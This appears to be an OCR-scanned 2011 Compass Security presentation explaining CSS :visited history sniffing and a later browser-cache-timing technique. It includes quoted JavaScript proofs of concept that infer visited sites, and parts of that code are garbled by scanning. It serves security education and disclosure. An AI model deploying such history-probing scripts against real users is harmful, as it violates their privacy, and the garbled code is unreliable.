SECURITY

CSS :visited

Or how | was able to snoop on your browsing history

December 1979, 2011
alexandre.herzog@csnc.ch

Compass Security AG Tel +41552144160
Werkstrasse 20 Fax +4155 214 41 61
Postfach 2038 team@csnc.ch

CH-8645 Jona www.csnhc.ch



SECURITY

CSS—:visited Browser Cache Timing

Or how | can again snoop on your browsing history

December 1979, 2011
alexandre.herzog@csnc.ch

Compass Security AG Tel +41552144160
Werkstrasse 20 Fax +4155 214 41 61
Postfach 2038 team@csnc.ch

CH-8645 Jona www.csnc.ch



History

May 2002:

Aug 2006:

2006-2009:

2009:

Apr 2010:

Feb 2011:

e‘ SECU§T§

creation of bug #147777 ":visited support allows
queries into global history”

PoC by Jeremiah Grossman hosted by RSnake on
ha.ckers.org

Issue pops up on a regular basis, without browser
vendors doing anything (but pointing to CSS’s specs)

Examples of websites using this technic to ban or alter
the rendering multiplies

Firefox and WebKit announce changes in the way they
handle CSS :visited styles

Microsoft announces it will also import restrictions on
CSS to limit this issue in IE 9 RC



History (continued)
SECURITY

Dec 2011: lcamtuf publishes a new PoC based on cache timing
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How did it work back in 2002-20107? e‘ SS

SECURITY

function stealHistory() {

// loop through websites and check which ones have been visited
for (vari = 0; i < websites.length; i++) {
var link = document.createElement("a");
link.id = "id" + i;
link.href = websites]i];
link.innerHTML = websites][i];
document.body.appendChild(link);
var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
document.body.removeChild(link);

// check for visited
if (color == "rgb(0, 0, 255)") {
document.write('' + websites|[i] + '');
} // end visited check

} // end visited website loop

} // end stealHistory method

Source: http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html
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How did it work back in 2002-20107?
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HTMLS5 Web Security
12/7/11 - HTML5 Security
Research Report
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Review BlackHat /
Defcon 2011

11/8/11 - This year, as
every year, two security
analysts of Compass
Security AG participated in
the BlackHat and Defcon in
Las Vegas.
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Oracle RDC Onsite XSS
Vulnerability

10/18/11 - Compass
Security has found a
vulnerability in ORACLE
RDC ONSITE.

Compass Security AG We are seeking a Senior IT Security Analyst

n/Jobs
Ethical Hacking, Penetration Testing and Security Reviews is our core competence! We are
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>>> var t

decument.ge...e.leg{"Size of image:",

t.width);

Size of image: 175px x 242px

var t window.getComputedStyle (

Persist  Profile ||
Q document.getElementById("iimg 460616585")

All| Errors Warnings Info Debut

window.getComputedStyle |
)i

console.log("Size of image:", t.height,

t_height,

nxn’

"x",. t.width):
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SECURITY

How does it work now (Dec 2011)? e‘ SS

/* The browser is now trying to load the destination URL. Let's see if we lose SOP access before
we hit TIME_LIMIT. If yes, we have a cache hit. If not, seems like cache miss. In both cases,

the navigation will be aborted by maybe_test_next(). */

function navigate_to_target() {
cycles = 0;
sched_call(wait_for_noread);
urls++;
document.getElementByld("f").src = current_url;

}

function wait_for_noread() {
try {
if (frames['f'].location.href == undefined) throw 1;
if (cycles >= TIME_LIMIT) {
maybe_test_next();
return;

}

sched_call(wait_for_noread);
} catch (e) {
: confirmed_visited = true;
' maybe_test_next();
1}

Source: http://Icamtuf.coredump.cx/cachetime/firefox.html
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/* The browser is now trying to load the destination URL. Let's see if we lose SOP access before
we hit TIME_LIMIT. If yes, we have a cache hit. If not, seems like cache miss. In both cases,
the navigation will be aborted by maybe_test_next(). */

function navigate_to_target() {
cycles = 0;
sched_call(wait_for_noread);
urls++;
document.getElementByld("f").src = current_url;

}

function wait_for_noread() {
try {
if (frames['f'].location.href == undefined) throw 1;
if (cycles >= TIME_LIMIT) {
maybe_test_next();
return;
}
sched_call(wait_for_noread);
} catch (e) {
confirmed_visited = true;
' maybe_test_next();
1}

Source: http://Icamtuf.coredump.cx/cachetime/firefox.html
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I\..(_-.,-"J-} [ {1 lcamtuf.coredump.c/cachetime/firefox. html 7 - ] - |l;'r Goo
Firefox PoC: rapid history extraction through non-destructive cache timing ,

This is a Firefox version of my cache timing script. According to a short survey shown at the end of the test, the
of all survey-takers. The use of script blockers, having unusually slow or unusually fast hardware, or doing con
backsround, seem to be the primary reasons for failure.

Please refer to the top-level page for more information about the purpose and the design of this tool.

Note: I will be no longer updating the URLs tested by this script. Some of the sites it tests for change on a wee
detection to gradually decrease.

| Do the thing already! |

The sites yvou have visited in the past day or so are shown in green; gray indicates a site not found in vour cache:

Social networks:

Visited: Facebook [3:5]
Not visited: Google Plus [5+]
Not visited: Dogster [5+]
Not visited: MySpace [5+]

Content platforms:

Visited: Youtube [3:2]

Not visited: Hulu [5+]

Not visited: Flickr [5+]

Not visited: JustinBieberMusic.com [5+]
Not visited: Playboy [5+]

Not visited: Wikileaks [5+]

Online media:

e Notvisited: New York Times[5+]
* Visited: CNN [3:4]
o Not visited: Reddit [5+]
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How does it work now (Dec 2011)?

The sites you have visited in the past day or so are shown in green; gray indicates a site not found in your cache:

Social networks:

Visited: Facehook [3:2]
Not visited: Google Plus [5+]
Not visited: Dogster [5+]
Not visited: MySpace [5+]

Content platforms:

Not visited: Youtube [5+]

Not visited: Hulu [5+]

Visited: Flickr [3:1]

Not visited: JustinBieberMusic.com [5+]
Not visited: Playboy [5+]

Not visited: Wikileaks [5+]

Online media: Same Origin Policy Exception

* Not visited: New York Times [5+] \

: "T‘r‘| < > | = F| Console HTML CSS | Script = | DOM Net | P Use #<rumber> to go to li

1P’ | all - + wait_for_noread < tir* & [ "0 ||| Watch v | Stack Breakpoints
261 if {ecycles »= TIME LIMIT) { - Mew watch expression...
frames["'f'] .location.src . iz i o
263 maybe test next(); € Error: Permission denied to access property ‘src
264 return; this Window firsfox. him!
e € Error: Permission denied to access property ‘href

firefox.html -

!

if (frames['f'].location_href =—

=1 @y

[=2]

sched call (wait_for noread); toString functioni)
;;; | catch (=) 1 Closure Scope Closure Scope { toString=function{} }
271 (|| & Window Window firefox.htm!
o 272 confirmed wisited = true;
273 maybe test next();
274
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https://bugzilla.mozilla.org/show bug.cqi?id=147777
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http://ha.ckers.org/blog/20091008/css-history-hack-used-to-ban-torrent-users/
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http://dbaron.org/mozilla/visited-privacy

EricLaw: CSS History Probing, or: "I know where you went last week"
http://blogs.msdn.com/b/ieinternals/archive/2009/06/17/csshistoryprobing.aspx

Mozilla.org — privacy-related changes coming to CSS :visited
http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/
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